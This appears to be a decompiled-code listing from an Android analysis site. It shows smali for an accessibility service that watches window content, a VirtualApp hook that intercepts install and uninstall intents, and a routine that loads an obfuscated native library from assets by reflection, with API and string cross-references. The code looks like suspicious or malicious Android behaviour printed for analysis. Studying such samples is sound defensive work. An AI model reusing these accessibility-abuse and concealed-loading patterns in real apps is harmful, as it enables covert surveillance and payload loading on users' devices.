                              373invoke-virtual {v0, v1}, Ljava/lang/Object;->equals(Ljava/lang/Object;)Z
                              374move-result v0
                              375if-eqz v0, :cond_28b
                              377const-string/jumbo v0, "mSelectedPlatform"
                              379invoke-static {v0}, Lcom/omgSdk/andoclib/h;->c(Ljava/lang/String;)Ljava/lang/String;
                              380move-result-object v0
                              381if-eqz v0, :cond_27d
                              383const-string/jumbo v0, ""
                              385const-string/jumbo v1, "mSelectedPlatform"
                              387invoke-static {v1}, Lcom/omgSdk/andoclib/h;->c(Ljava/lang/String;)Ljava/lang/String;
                              388move-result-object v1
                              390invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                              391move-result v0
                              392if-nez v0, :cond_27d
                              394const-string/jumbo v0, "mSelectedType"
                              396invoke-static {v0}, Lcom/omgSdk/andoclib/h;->c(Ljava/lang/String;)Ljava/lang/String;
                              397move-result-object v0
                              398if-eqz v0, :cond_27d
                              400const-string/jumbo v0, ""
                              402const-string/jumbo v1, "mSelectedType"
                              404invoke-static {v1}, Lcom/omgSdk/andoclib/h;->c(Ljava/lang/String;)Ljava/lang/String;
                              405move-result-object v1
                              407invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                              408move-result v0
                              409if-nez v0, :cond_27d
                              411const-string/jumbo v0, "mSelectedPlatform"
                              413invoke-static {v0}, Lcom/omgSdk/andoclib/h;->c(Ljava/lang/String;)Ljava/lang/String;
                              414move-result-object v0
                              415iput-object v0, p0, Lcom/omgSdk/andoclib/AutoAccessibilityService;->a:Ljava/lang/String;
                              417const-string/jumbo v0, "mSelectedType"
                              419invoke-static {v0}, Lcom/omgSdk/andoclib/h;->c(Ljava/lang/String;)Ljava/lang/String;
                              420move-result-object v0
                              421iput-object v0, p0, Lcom/omgSdk/andoclib/AutoAccessibilityService;->b:Ljava/lang/String;
                              423invoke-static {p0}, Lcom/omgSdk/andoclib/e;->b(Landroid/content/Context;)Lcom/omgSdk/andoclib/e$a;
                              424move-result-object v0
                              425new-instance v1, Ljava/lang/StringBuilder;
                              427invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
                              429iget-object v2, p0, Lcom/omgSdk/andoclib/AutoAccessibilityService;->a:Ljava/lang/String;
                              431invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              432move-result-object v1
                              434iget-object v2, p0, Lcom/omgSdk/andoclib/AutoAccessibilityService;->b:Ljava/lang/String;
                              436invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              437move-result-object v1
                              439invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              440move-result-object v1
                              442invoke-interface {v0, v1, v4}, Lcom/omgSdk/andoclib/e$a;->a(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                              443move-result-object v0
                              444iput-object v0, p0, Lcom/omgSdk/andoclib/AutoAccessibilityService;->c:Ljava/lang/String;
                              446iget-object v0, p0, Lcom/omgSdk/andoclib/AutoAccessibilityService;->a:Ljava/lang/String;
                              448invoke-static {p0, v0}, Lcom/omgSdk/commen/d;->a(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/String;
                              449move-result-object v0
                              450iput-object v0, p0, Lcom/omgSdk/andoclib/AutoAccessibilityService;->e:Ljava/lang/String;
                              451cond_27d: iput v6, p0, Lcom/omgSdk/andoclib/AutoAccessibilityService;->d:I
                              452const/4 v0, 0x0
                              453iput-boolean v0, p0, Lcom/omgSdk/andoclib/AutoAccessibilityService;->f:Z
                              455invoke-virtual {p0}, Lcom/omgSdk/andoclib/AutoAccessibilityService;->getRootInActiveWindow()Landroid/view/accessibility/AccessibilityNodeInfo;
                              456move-result-object v0
                              458invoke-direct {p0, v0}, Lcom/omgSdk/andoclib/AutoAccessibilityService;->b(Landroid/view/accessibility/AccessibilityNodeInfo;)V
                              459goto/16 :goto_b
                              460cond_28b:
                              461invoke-virtual {p1}, Landroid/view/accessibility/AccessibilityEvent;->getEventType()I
                              462move-result v0
                              463const/16 v1, 0x800
                              464if-ne v0, v1, :cond_2a2
                              466const-string/jumbo v0, "TYPE_WINDOW_CONTENT_CHANGED"
                              468invoke-static {v0}, Lcom/omg/tool/log/Logger;->D(Ljava/lang/String;)V
                              470invoke-virtual {p0}, Lcom/omgSdk/andoclib/AutoAccessibilityService;->getRootInActiveWindow()Landroid/view/accessibility/AccessibilityNodeInfo;
                              471move-result-object v0
                              473invoke-direct {p0, v0, p1}, Lcom/omgSdk/andoclib/AutoAccessibilityService;->a(Landroid/view/accessibility/AccessibilityNodeInfo;Landroid/view/accessibility/AccessibilityEvent;)V
                              474goto/16 :goto_b
                              475cond_2a2: const/16 v1, 0x20
                              476if-ne v0, v1, :cond_b
                              478const-string/jumbo v0, "TYPE_WINDOW_CONTENT_CHANGED"
                              480invoke-static {v0}, Lcom/omg/tool/log/Logger;->D(Ljava/lang/String;)V
                              482invoke-virtual {p0}, Lcom/omgSdk/andoclib/AutoAccessibilityService;->getRootInActiveWindow()Landroid/view/accessibility/AccessibilityNodeInfo;
                              483move-result-object v0
                              485invoke-direct {p0, v0, p1}, Lcom/omgSdk/andoclib/AutoAccessibilityService;->a(Landroid/view/accessibility/AccessibilityNodeInfo;Landroid/view/accessibility/AccessibilityEvent;)V
                              486goto/16 :goto_b
                              Cross References
                              APIs
                              • java.lang.Integer.valueOf
                              • android.content.Intent.getData
                              • android.content.Intent.setDataAndType
                              • java.lang.reflect.Method.invoke
                              • android.content.Intent.getAction
                              • java.lang.String.equals
                              • android.content.Intent.getAction
                              • java.lang.String.equals
                              • android.content.Intent.getType
                              • java.lang.String.equals
                              • java.lang.Integer.valueOf
                              • android.content.Intent.getAction
                              • java.lang.String.equals
                              • android.content.Intent.getAction
                              • java.lang.String.equals
                              • android.content.Intent.getScheme
                              • java.lang.String.equals
                              • java.lang.Integer.valueOf
                              • java.lang.Integer.intValue
                              • com.tmk.ywb.activity.ChooserActivity.check
                              • android.content.ComponentName.<init>
                              • android.content.Intent.setComponent
                              • android.content.Intent.setClassName
                              • android.content.Intent.putExtra
                              • android.content.Intent.putExtra
                              • android.content.Intent.putExtra
                              • android.content.Intent.putExtra
                              • java.lang.reflect.Method.invoke
                              • android.content.Intent.getScheme
                              • android.content.Intent.getScheme
                              • java.lang.String.equals
                              • android.content.Intent.getData
                              • android.content.Intent.getAction
                              • android.content.Intent.getAction
                              • java.lang.String.startsWith
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • android.net.Uri.parse
                              • android.content.Intent.setData
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • android.content.Intent.getPackage
                              • android.content.Intent.getPackage
                              • java.lang.Integer.valueOf
                              • java.lang.reflect.Method.invoke
                              • android.util.TypedValue.<init>
                              • android.app.Activity.getResources
                              • android.content.res.Resources.newTheme
                              • android.content.pm.ActivityInfo.getThemeResource
                              • android.content.res.Resources$Theme.applyStyle
                              • android.content.res.Resources$Theme.resolveAttribute
                              • android.content.res.Resources$Theme.obtainStyledAttributes
                              • android.content.res.TypedArray.getResourceId
                              • android.content.res.TypedArray.getResourceId
                              • android.app.Activity.overridePendingTransition
                              • android.content.res.TypedArray.recycle
                              • java.lang.Integer.valueOf
                              Strings
                              • android.intent.action.INSTALL_PACKAGE
                              • android.intent.action.VIEW
                              • application/vnd.android.package-archive
                              • android.intent.action.UNINSTALL_PACKAGE
                              • android.intent.action.DELETE
                              • package
                              • ChooserActivity
                              • android.intent.extra.user_handle
                              • android.intent.extra.virtual.data
                              • android.intent.extra.virtual.who
                              • android.intent.extra.virtual.request_code
                              • android.settings.
                              • package:
                              • VActivityManager
                              • Unable to resolve activityInfo :
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v2, 0x0
                              2const/4 v3, 0x2
                              3const/4 v10, -0x1
                              4const/4 v1, 0x1
                              5const/4 v7, 0x0
                              6const-class v0, Landroid/content/Intent;
                              8invoke-static {p3, v0, v1}, Lcom/lody/virtual/helper/utils/ArrayUtils;->indexOfObject([Ljava/lang/Object;Ljava/lang/Class;I)I
                              9move-result v8
                              10if-gez v8, :cond_12
                              12invoke-static {v10}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                              13move-result-object v0
                              14goto_11: return-object v0
                              15cond_12: const-class v0, Landroid/os/IBinder;
                              17invoke-static {p3, v0, v3}, Lcom/lody/virtual/helper/utils/ArrayUtils;->indexOfObject([Ljava/lang/Object;Ljava/lang/Class;I)I
                              18move-result v5
                              19add-int/lit8 v0, v8, 0x1
                              20aget-object v0, p3, v0
                              21check-cast v0, Ljava/lang/String;
                              22aget-object v1, p3, v8
                              23check-cast v1, Landroid/content/Intent;
                              25invoke-virtual {v1}, Landroid/content/Intent;->getData()Landroid/net/Uri;
                              26move-result-object v3
                              28invoke-virtual {v1, v3, v0}, Landroid/content/Intent;->setDataAndType(Landroid/net/Uri;Ljava/lang/String;)Landroid/content/Intent;
                              29if-ltz v5, :cond_3f
                              30aget-object v0, p3, v5
                              31check-cast v0, Landroid/os/IBinder;
                              32move-object v3, v0
                              33goto_30:
                              34invoke-static {}, Lcom/lody/virtual/os/VUserHandle;->myUserId()I
                              35move-result v9
                              37invoke-static {v1}, Lcom/lody/virtual/helper/utils/ComponentUtils;->isStubComponent(Landroid/content/Intent;)Z
                              38move-result v0
                              39if-eqz v0, :cond_41
                              41invoke-virtual {p2, p1, p3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              42move-result-object v0
                              43goto/16 :goto_11
                              44cond_3f: move-object v3, v2
                              45goto/16 :goto_30
                              46cond_41:
                              47const-string v0, "android.intent.action.INSTALL_PACKAGE"
                              49invoke-virtual {v1}, Landroid/content/Intent;->getAction()Ljava/lang/String;
                              50move-result-object v4
                              52invoke-virtual {v0, v4}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                              53move-result v0
                              54if-nez v0, :cond_65
                              56const-string v0, "android.intent.action.VIEW"
                              58invoke-virtual {v1}, Landroid/content/Intent;->getAction()Ljava/lang/String;
                              59move-result-object v4
                              61invoke-virtual {v0, v4}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                              62move-result v0
                              63if-eqz v0, :cond_70
                              65const-string v0, "application/vnd.android.package-archive"
                              67invoke-virtual {v1}, Landroid/content/Intent;->getType()Ljava/lang/String;
                              68move-result-object v4
                              70invoke-virtual {v0, v4}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                              71move-result v0
                              72if-eqz v0, :cond_70
                              73cond_65:
                              74invoke-direct {p0, v1}, Lcom/lody/virtual/client/hook/proxies/am/MethodProxies$StartActivity;->handleInstallRequest(Landroid/content/Intent;)Z
                              75move-result v0
                              76if-eqz v0, :cond_a0
                              78invoke-static {v7}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                              79move-result-object v0
                              80goto/16 :goto_11
                              81cond_70:
                              82const-string v0, "android.intent.action.UNINSTALL_PACKAGE"
                              84invoke-virtual {v1}, Landroid/content/Intent;->getAction()Ljava/lang/String;
                              85move-result-object v4
                              87invoke-virtual {v0, v4}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                              88move-result v0
                              89if-nez v0, :cond_88
                              91const-string v0, "android.intent.action.DELETE"
                              93invoke-virtual {v1}, Landroid/content/Intent;->getAction()Ljava/lang/String;
                              94move-result-object v4
                              96invoke-virtual {v0, v4}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                              97move-result v0
                              98if-eqz v0, :cond_a0
                              99cond_88:
                              100const-string v0, "package"
                              102invoke-virtual {v1}, Landroid/content/Intent;->getScheme()Ljava/lang/String;
                              103move-result-object v4
                              105invoke-virtual {v0, v4}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                              106move-result v0
                              107if-eqz v0, :cond_a0
                              109invoke-direct {p0, v1}, Lcom/lody/virtual/client/hook/proxies/am/MethodProxies$StartActivity;->handleUninstallRequest(Landroid/content/Intent;)Z
                              110move-result v0
                              111if-eqz v0, :cond_a0
                              113invoke-static {v7}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                              114move-result-object v0
                              115goto/16 :goto_11
                              116cond_a0: const-class v0, Landroid/os/Bundle;
                              118invoke-static {p3, v0}, Lcom/lody/virtual/helper/utils/ArrayUtils;->getFirst([Ljava/lang/Object;Ljava/lang/Class;)Ljava/lang/Object;
                              119move-result-object v4
                              120check-cast v4, Landroid/os/Bundle;
                              121if-eqz v3, :cond_1fe
                              122add-int/lit8 v0, v5, 0x1
                              123aget-object v0, p3, v0
                              124check-cast v0, Ljava/lang/String;
                              125add-int/lit8 v2, v5, 0x2
                              126aget-object v2, p3, v2
                              127check-cast v2, Ljava/lang/Integer;
                              129invoke-virtual {v2}, Ljava/lang/Integer;->intValue()I
                              130move-result v6
                              131move-object v5, v0
                              132goto_bb:
                              133invoke-static {v1}, Lcom/tmk/ywb/activity/ChooserActivity;->check(Landroid/content/Intent;)Z
                              134move-result v0
                              135if-eqz v0, :cond_f6
                              136new-instance v0, Landroid/content/ComponentName;
                              138invoke-static {}, Lcom/lody/virtual/client/hook/proxies/am/MethodProxies$StartActivity;->getHostContext()Landroid/content/Context;
                              139move-result-object v2
                              140const-class v3, Lcom/tmk/ywb/activity/ChooserActivity;
                              142invoke-direct {v0, v2, v3}, Landroid/content/ComponentName;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
                              144invoke-virtual {v1, v0}, Landroid/content/Intent;->setComponent(Landroid/content/ComponentName;)Landroid/content/Intent;
                              146invoke-static {}, Lcom/lody/virtual/client/hook/proxies/am/MethodProxies$StartActivity;->getHostContext()Landroid/content/Context;
                              147move-result-object v0
                              149const-string v2, "ChooserActivity"
                              151invoke-static {v2}, Lcom/lody/virtual/client/stub/VASettings;->getRandomName(Ljava/lang/String;)Ljava/lang/String;
                              152move-result-object v2
                              154invoke-virtual {v1, v0, v2}, Landroid/content/Intent;->setClassName(Landroid/content/Context;Ljava/lang/String;)Landroid/content/Intent;
                              156const-string v0, "android.intent.extra.user_handle"
                              158invoke-virtual {v1, v0, v9}, Landroid/content/Intent;->putExtra(Ljava/lang/String;I)Landroid/content/Intent;
                              160const-string v0, "android.intent.extra.virtual.data"
                              162invoke-virtual {v1, v0, v4}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Landroid/os/Bundle;)Landroid/content/Intent;
                              164const-string v0, "android.intent.extra.virtual.who"
                              166invoke-virtual {v1, v0, v5}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Ljava/lang/String;)Landroid/content/Intent;
                              168const-string v0, "android.intent.extra.virtual.request_code"
                              170invoke-virtual {v1, v0, v6}, Landroid/content/Intent;->putExtra(Ljava/lang/String;I)Landroid/content/Intent;
                              172invoke-virtual {p2, p1, p3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              173move-result-object v0
                              174goto/16 :goto_11
                              175cond_f6: sget v0, Landroid/os/Build$VERSION;->SDK_INT:I
                              176const/16 v2, 0x12
                              177if-lt v0, v2, :cond_104
                              178add-int/lit8 v0, v8, -0x1
                              180invoke-static {}, Lcom/lody/virtual/client/hook/proxies/am/MethodProxies$StartActivity;->getHostPkg()Ljava/lang/String;
                              181move-result-object v2
                              182aput-object v2, p3, v0
                              183cond_104:
                              184invoke-virtual {v1}, Landroid/content/Intent;->getScheme()Ljava/lang/String;
                              185move-result-object v0
                              186if-eqz v0, :cond_14c
                              188invoke-virtual {v1}, Landroid/content/Intent;->getScheme()Ljava/lang/String;
                              189move-result-object v0
                              191const-string v2, "package"
                              193invoke-virtual {v0, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                              194move-result v0
                              195if-eqz v0, :cond_14c
                              197invoke-virtual {v1}, Landroid/content/Intent;->getData()Landroid/net/Uri;
                              198move-result-object v0
                              199if-eqz v0, :cond_14c
                              201invoke-virtual {v1}, Landroid/content/Intent;->getAction()Ljava/lang/String;
                              202move-result-object v0
                              203if-eqz v0, :cond_14c
                              205invoke-virtual {v1}, Landroid/content/Intent;->getAction()Ljava/lang/String;
                              206move-result-object v0
                              208const-string v2, "android.settings."
                              210invoke-virtual {v0, v2}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z
                              211move-result v0
                              212if-eqz v0, :cond_14c
                              213new-instance v0, Ljava/lang/StringBuilder;
                              215invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
                              217const-string v2, "package:"
                              219invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              220move-result-object v0
                              222invoke-static {}, Lcom/lody/virtual/client/hook/proxies/am/MethodProxies$StartActivity;->getHostPkg()Ljava/lang/String;
                              223move-result-object v2
                              225invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              226move-result-object v0
                              228invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              229move-result-object v0
                              231invoke-static {v0}, Landroid/net/Uri;->parse(Ljava/lang/String;)Landroid/net/Uri;
                              232move-result-object v0
                              234invoke-virtual {v1, v0}, Landroid/content/Intent;->setData(Landroid/net/Uri;)Landroid/content/Intent;
                              235cond_14c:
                              236invoke-static {}, Lcom/lody/virtual/client/core/VirtualCore;->get()Lcom/lody/virtual/client/core/VirtualCore;
                              237move-result-object v0
                              239invoke-virtual {v0, v1, v9}, Lcom/lody/virtual/client/core/VirtualCore;->resolveActivityInfo(Landroid/content/Intent;I)Landroid/content/pm/ActivityInfo;
                              240move-result-object v2
                              241if-nez v2, :cond_18c
                              243const-string v0, "VActivityManager"
                              244new-instance v2, Ljava/lang/StringBuilder;
                              246invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
                              248const-string v3, "Unable to resolve activityInfo : "
                              250invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              251move-result-object v2
                              253invoke-virtual {v2, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
                              254move-result-object v2
                              256invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              257move-result-object v2
                              258new-array v3, v7, [Ljava/lang/Object;
                              260invoke-static {v0, v2, v3}, Lcom/lody/virtual/helper/utils/VLog;->e(Ljava/lang/String;Ljava/lang/String;[Ljava/lang/Object;)V
                              262invoke-virtual {v1}, Landroid/content/Intent;->getPackage()Ljava/lang/String;
                              263move-result-object v0
                              264if-eqz v0, :cond_186
                              266invoke-virtual {v1}, Landroid/content/Intent;->getPackage()Ljava/lang/String;
                              267move-result-object v0
                              269invoke-virtual {p0, v0}, Lcom/lody/virtual/client/hook/proxies/am/MethodProxies$StartActivity;->isAppPkg(Ljava/lang/String;)Z
                              270move-result v0
                              271if-eqz v0, :cond_186
                              273invoke-static {v10}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                              274move-result-object v0
                              275goto/16 :goto_11
                              276cond_186:
                              277invoke-virtual {p2, p1, p3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              278move-result-object v0
                              279goto/16 :goto_11
                              280cond_18c:
                              281invoke-static {}, Lcom/lody/virtual/client/ipc/VActivityManager;->get()Lcom/lody/virtual/client/ipc/VActivityManager;
                              282move-result-object v0
                              284invoke-static {}, Lcom/lody/virtual/os/VUserHandle;->myUserId()I
                              285move-result v7
                              287invoke-virtual/range {v0 .. v7}, Lcom/lody/virtual/client/ipc/VActivityManager;->startActivity(Landroid/content/Intent;Landroid/content/pm/ActivityInfo;Landroid/os/IBinder;Landroid/os/Bundle;Ljava/lang/String;II)I
                              288move-result v0
                              289if-eqz v0, :cond_1a5
                              290if-eqz v3, :cond_1a5
                              291if-lez v6, :cond_1a5
                              293invoke-static {}, Lcom/lody/virtual/client/ipc/VActivityManager;->get()Lcom/lody/virtual/client/ipc/VActivityManager;
                              294move-result-object v1
                              296invoke-virtual {v1, v3, v5, v6}, Lcom/lody/virtual/client/ipc/VActivityManager;->sendActivityResult(Landroid/os/IBinder;Ljava/lang/String;I)V
                              297cond_1a5: if-eqz v3, :cond_1f6
                              299invoke-static {}, Lcom/lody/virtual/client/ipc/VActivityManager;->get()Lcom/lody/virtual/client/ipc/VActivityManager;
                              300move-result-object v1
                              302invoke-virtual {v1, v3}, Lcom/lody/virtual/client/ipc/VActivityManager;->getActivityRecord(Landroid/os/IBinder;)Lcom/lody/virtual/client/ipc/ActivityClientRecord;
                              303move-result-object v1
                              304if-eqz v1, :cond_1f6
                              306iget-object v3, v1, Lcom/lody/virtual/client/ipc/ActivityClientRecord;->activity:Landroid/app/Activity;
                              307if-eqz v3, :cond_1f6
                              308try_start_1b5: new-instance v3, Landroid/util/TypedValue;
                              310invoke-direct {v3}, Landroid/util/TypedValue;-><init>()V
                              312iget-object v4, v1, Lcom/lody/virtual/client/ipc/ActivityClientRecord;->activity:Landroid/app/Activity;
                              314invoke-virtual {v4}, Landroid/app/Activity;->getResources()Landroid/content/res/Resources;
                              315move-result-object v4
                              317invoke-virtual {v4}, Landroid/content/res/Resources;->newTheme()Landroid/content/res/Resources$Theme;
                              318move-result-object v4
                              320invoke-virtual {v2}, Landroid/content/pm/ActivityInfo;->getThemeResource()I
                              321move-result v2
                              322const/4 v5, 0x1
                              324invoke-virtual {v4, v2, v5}, Landroid/content/res/Resources$Theme;->applyStyle(IZ)V
                              325const v2, 0x10100ae
                              326const/4 v5, 0x1
                              328invoke-virtual {v4, v2, v3, v5}, Landroid/content/res/Resources$Theme;->resolveAttribute(ILandroid/util/TypedValue;Z)Z
                              329move-result v2
                              330if-eqz v2, :cond_1f6
                              331iget v2, v3, Landroid/util/TypedValue;->data:I
                              332const/4 v3, 0x2
                              333new-array v3, v3, [I
                              334fill-array-data v3, :array_202
                              336invoke-virtual {v4, v2, v3}, Landroid/content/res/Resources$Theme;->obtainStyledAttributes(I[I)Landroid/content/res/TypedArray;
                              337move-result-object v2
                              339iget-object v1, v1, Lcom/lody/virtual/client/ipc/ActivityClientRecord;->activity:Landroid/app/Activity;
                              340const/4 v3, 0x0
                              341const/4 v4, 0x0
                              343invoke-virtual {v2, v3, v4}, Landroid/content/res/TypedArray;->getResourceId(II)I
                              344move-result v3
                              345const/4 v4, 0x1
                              346const/4 v5, 0x0
                              348invoke-virtual {v2, v4, v5}, Landroid/content/res/TypedArray;->getResourceId(II)I
                              349move-result v4
                              351invoke-virtual {v1, v3, v4}, Landroid/app/Activity;->overridePendingTransition(II)V
                              353invoke-virtual {v2}, Landroid/content/res/TypedArray;->recycle()V
                              354cond_1f6:
                              355invoke-static {v0}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                              356move-result-object v0
                              357goto/16 :goto_11
                              358catch_1fc: move-exception v1
                              359goto/16 :goto_1f6
                              360cond_1fe: move v6, v7
                              361move-object v5, v2
                              362goto/16 :goto_bb
                              Cross References
                              APIs
                              • android.content.Context.getCacheDir
                              • java.io.File.getAbsolutePath
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.io.File.separator:Ljava/lang/String
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • android.content.Context.getAssets
                              • java.lang.Object.getClass
                              • java.lang.Class.getDeclaredMethod
                              • android.content.Context.getAssets
                              • java.lang.reflect.Method.invoke
                              • android.content.Context.getAssets
                              • android.content.res.AssetManager.open
                              • java.io.InputStream.close
                              • android.content.Context.getAssets
                              • android.content.res.AssetManager.open
                              • java.io.File.<init>
                              • java.io.File.getName
                              • java.lang.String.endsWith
                              • java.io.File.getName
                              • android.content.Context.getDir
                              • java.io.File.<init>
                              • java.io.File.exists
                              • java.io.File.getParentFile
                              • java.io.File.getParentFile
                              • java.io.File.exists
                              • java.io.File.getParentFile
                              • java.io.File.mkdirs
                              • java.io.File.createNewFile
                              • java.io.File.length
                              • java.io.InputStream.available
                              • java.io.FileOutputStream.<init>
                              • java.io.FileOutputStream.getChannel
                              • java.nio.channels.FileChannel.lock
                              • java.io.File.length
                              • java.io.InputStream.available
                              • java.nio.channels.FileLock.release
                              • java.io.FileOutputStream.close
                              • java.io.InputStream.close
                              • java.io.File.getPath
                              • java.lang.System.load
                              • java.io.File.<init>
                              • java.io.File.exists
                              • java.io.File.delete
                              • java.io.InputStream.close
                              • android.content.Context.getAssets
                              • android.content.res.AssetManager.open
                              • com.omg.tool.FileSecurity$MixInputStream.<init>
                              • java.lang.StringBuilder.<init>
                              • java.io.File.getName
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              Strings
                              • nv/arm64/base
                              • live
                              • Tlive
                              • live value
                              • addAssetPath
                              • .so
                              • native
                              • live delete
                              • nv/arm/base
                              • loadlibrary
                              • fail
                              Position Instruction Meta Information
                              0.prologue
                              1const-class v4, Lcom/omgSdk/commen/c;
                              2monitor-enter v4
                              3try_start_3:
                              4invoke-static {p0}, Lcom/omgSdk/commen/c;->a(Landroid/content/Context;)Z
                              5move-result v0
                              6if-eqz v0, :cond_12c
                              8const-string/jumbo v0, "nv/arm64/base"
                              9try_end_c: move-object v3, v0
                              10try_start_d:
                              11invoke-virtual {p0}, Landroid/content/Context;->getCacheDir()Ljava/io/File;
                              12move-result-object v0
                              14invoke-virtual {v0}, Ljava/io/File;->getAbsolutePath()Ljava/lang/String;
                              15move-result-object v0
                              17invoke-static {p0}, Lcom/omg/base/Config;->current(Landroid/content/Context;)Lcom/omg/base/Config;
                              18move-result-object v1
                              20const-string/jumbo v2, "live"
                              22const-string/jumbo v5, "Tlive"
                              24invoke-virtual {v1, v2, v5}, Lcom/omg/base/Config;->getValue(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                              25move-result-object v1
                              26new-instance v2, Ljava/lang/StringBuilder;
                              28invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
                              30const-string/jumbo v5, "live value "
                              32invoke-virtual {v2, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              33move-result-object v2
                              35invoke-virtual {v2, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              36move-result-object v2
                              38invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              39move-result-object v2
                              41invoke-static {v2}, Lcom/omg/tool/log/Logger;->I(Ljava/lang/String;)V
                              42new-instance v2, Ljava/lang/StringBuilder;
                              44invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
                              46invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              47move-result-object v0
                              49sget-object v2, Ljava/io/File;->separator:Ljava/lang/String;
                              51invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              52move-result-object v0
                              54invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              55move-result-object v0
                              57invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              58move-result-object v5
                              60invoke-static {v5, v1, p0}, Lcom/omgSdk/commen/d;->a(Ljava/lang/String;Ljava/lang/String;Landroid/content/Context;)V
                              62invoke-virtual {p0}, Landroid/content/Context;->getAssets()Landroid/content/res/AssetManager;
                              63move-result-object v0
                              65invoke-virtual {v0}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
                              66move-result-object v0
                              68const-string/jumbo v1, "addAssetPath"
                              69const/4 v2, 0x1
                              70new-array v2, v2, [Ljava/lang/Class;
                              71const/4 v6, 0x0
                              72const-class v7, Ljava/lang/String;
                              73aput-object v7, v2, v6
                              75invoke-virtual {v0, v1, v2}, Ljava/lang/Class;->getDeclaredMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                              76move-result-object v0
                              78invoke-virtual {p0}, Landroid/content/Context;->getAssets()Landroid/content/res/AssetManager;
                              79move-result-object v1
                              80const/4 v2, 0x1
                              81new-array v2, v2, [Ljava/lang/Object;
                              82const/4 v6, 0x0
                              83aput-object v5, v2, v6
                              85invoke-virtual {v0, v1, v2}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              87invoke-virtual {p0}, Landroid/content/Context;->getAssets()Landroid/content/res/AssetManager;
                              88move-result-object v0
                              90invoke-virtual {v0, v3}, Landroid/content/res/AssetManager;->open(Ljava/lang/String;)Ljava/io/InputStream;
                              91move-result-object v0
                              93sget-object v1, Lcom/omgSdk/commen/c;->a:[B
                              95invoke-static {v0, v1}, Lcom/omgSdk/commen/c;->a(Ljava/io/InputStream;[B)Z
                              96move-result v1
                              97if-eqz v1, :cond_132
                              99invoke-virtual {v0}, Ljava/io/InputStream;->close()V
